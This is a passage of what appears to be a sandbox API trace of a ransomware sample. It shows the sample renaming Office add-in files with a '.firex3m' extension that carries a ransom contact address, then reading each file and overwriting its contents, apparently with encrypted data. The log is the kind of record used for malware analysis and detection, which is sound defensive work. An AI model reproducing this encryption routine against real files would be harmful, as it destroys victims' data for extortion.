dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0155.122] CloseHandle (hObject=0x66c) returned 1 [0155.122] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x6c0065, dwReserved1=0x640075, cFileName="BI-Report.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BI-REP~1.FIR")) returned 0x6d53c0 [0155.125] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0155.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0155.125] GetProcessHeap () returned 0x630000 [0155.125] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x40a1) returned 0x71d5490 [0155.126] GetProcessHeap () returned 0x630000 [0155.126] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x40a1) returned 0x71d9540 [0155.126] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.126] ReadFile (in: hFile=0x66c, lpBuffer=0x71d5490, nNumberOfBytesToRead=0x4080, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesRead=0x50fff0c*=0x4080, lpOverlapped=0x0) returned 1 [0159.410] GetProcessHeap () returned 0x630000 [0159.410] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0159.410] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.410] WriteFile (in: hFile=0x66c, lpBuffer=0x71d9540*, nNumberOfBytesToWrite=0x4080, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d9540*, lpNumberOfBytesWritten=0x50fff0c*=0x4080, lpOverlapped=0x0) returned 1 [0159.410] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.410] WriteFile (in: hFile=0x66c, lpBuffer=0x71dd5bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71dd5bf*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0159.410] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.410] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0159.411] CloseHandle (hObject=0x66c) returned 1 [0159.411] GetProcessHeap () returned 0x630000 [0159.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d9540 | out: hHeap=0x630000) returned 1 [0159.411] GetProcessHeap () returned 0x630000 [0159.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0159.411] GetProcessHeap () returned 0x630000 [0159.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0161.478] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24f6f19f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x40b4, dwReserved0=0xa207496, dwReserved1=0x71d5488, cFileName="BI-Report.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BI-REP~1.FIR")) returned 0x6d5440 [0161.478] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0161.478] Sleep (dwMilliseconds=0x1) [0161.484] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\PowerPivotExcelClientAddIn.rll") returned 1 [0161.484] GetProcessHeap () returned 0x630000 [0161.484] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc4) returned 0x707d3d0 [0161.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1026\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0161.489] CloseHandle (hObject=0x6a0) returned 1 [0161.489] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1026\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1026\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5400 [0161.529] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0161.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1026\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0161.530] GetProcessHeap () returned 0x630000 [0161.530] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x734a098 [0161.530] GetProcessHeap () returned 0x630000 [0161.530] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73554c8 [0161.530] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.530] ReadFile (in: hFile=0x6a0, lpBuffer=0x734a098, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x734a098*, lpNumberOfBytesRead=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.066] GetProcessHeap () returned 0x630000 [0166.066] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0166.066] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.066] WriteFile (in: hFile=0x6a0, lpBuffer=0x73554c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73554c8*, lpNumberOfBytesWritten=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.067] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.067] WriteFile (in: hFile=0x6a0, lpBuffer=0x73608c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608c7*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.067] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.067] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.067] CloseHandle (hObject=0x6a0) returned 1 [0166.067] GetProcessHeap () returned 0x630000 [0166.067] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73554c8 | out: hHeap=0x630000) returned 1 [0166.067] GetProcessHeap () returned 0x630000 [0166.067] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x734a098 | out: hHeap=0x630000) returned 1 [0166.067] GetProcessHeap () returned 0x630000 [0166.067] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0166.068] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x28ee1543, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11a84, dwReserved0=0xa207496, dwReserved1=0x734a090, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5340 [0166.068] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0166.068] Sleep (dwMilliseconds=0x1) [0166.800] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\PowerViewRes.sk.xap", len=0x65 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\PowerViewRes.sk.xap") returned 1 [0166.800] GetProcessHeap () returned 0x630000 [0166.800] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b8c) returned 0x707d3d0 [0166.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\PowerViewRes.sk.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\powerviewres.sk.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0166.800] CloseHandle (hObject=0x6c0) returned 1 [0166.800] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\PowerViewRes.sk.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\powerviewres.sk.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\PowerViewRes.sk.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\powerviewres.sk.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\PowerViewRes.sk.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e92299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15eb84b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50264, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.sk.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0166.801] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0166.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\PowerViewRes.sk.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\powerviewres.sk.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0166.802] GetProcessHeap () returned 0x630000 [0166.802] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7264620 [0166.802] GetProcessHeap () returned 0x630000 [0166.802] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x726fa50 [0166.802] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.802] ReadFile (in: hFile=0x6c0, lpBuffer=0x7264620, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0174.088] GetProcessHeap () returned 0x630000 [0174.088] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0174.089] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.089] WriteFile (in: hFile=0x6c0, lpBuffer=0x726fa50*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa50*, lpNumberOfBytesWritten=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0174.090] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.090] WriteFile (in: hFile=0x6c0, lpBuffer=0x727ae4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ae4f*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0174.092] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.092] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0174.092] CloseHandle (hObject=0x6c0) returned 1 [0174.092] GetProcessHeap () returned 0x630000 [0174.092] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726fa50 | out: hHeap=0x630000) returned 1 [0174.093] GetProcessHeap () returned 0x630000 [0174.093] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0174.093] GetProcessHeap () returned 0x630000 [0174.093] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0174.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0174.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\PowerViewRes.sk.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e92299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2db7e2ab, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x50288, dwReserved0=0xa207496, dwReserved1=0x7264618, cFileName="PowerViewRes.sk.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4ec0 [0174.094] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0174.094] Sleep (dwMilliseconds=0x1) [0174.106] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\PowerViewRes.gl.xap", len=0x65 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\PowerViewRes.gl.xap") returned 1 [0174.106] GetProcessHeap () returned 0x630000 [0174.106] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b48) returned 0x707d3d0 [0174.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\PowerViewRes.gl.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\gl\\powerviewres.gl.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0174.107] CloseHandle (hObject=0x6c0) returned 1 [0174.107] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0174.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\PowerViewRes.gl.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\gl\\powerviewres.gl.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\PowerViewRes.gl.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\gl\\powerviewres.gl.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0174.108] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0174.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\PowerViewRes.gl.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13aced2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f09b, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.gl.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5000 [0174.108] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0174.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\PowerViewRes.gl.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\gl\\powerviewres.gl.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0174.108] GetProcessHeap () returned 0x630000 [0174.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7264620 [0174.109] GetProcessHeap () returned 0x630000 [0174.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x726fa50 [0174.109] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.109] ReadFile (in: hFile=0x6c0, lpBuffer=0x7264620, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0182.774] GetProcessHeap () returned 0x630000 [0182.774] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0182.774] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.775] WriteFile (in: hFile=0x6c0, lpBuffer=0x726fa50*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa50*, lpNumberOfBytesWritten=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0182.775] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.775] WriteFile (in: hFile=0x6c0, lpBuffer=0x727ae4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ae4f*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.796] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.796] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.796] CloseHandle (hObject=0x6c0) returned 1 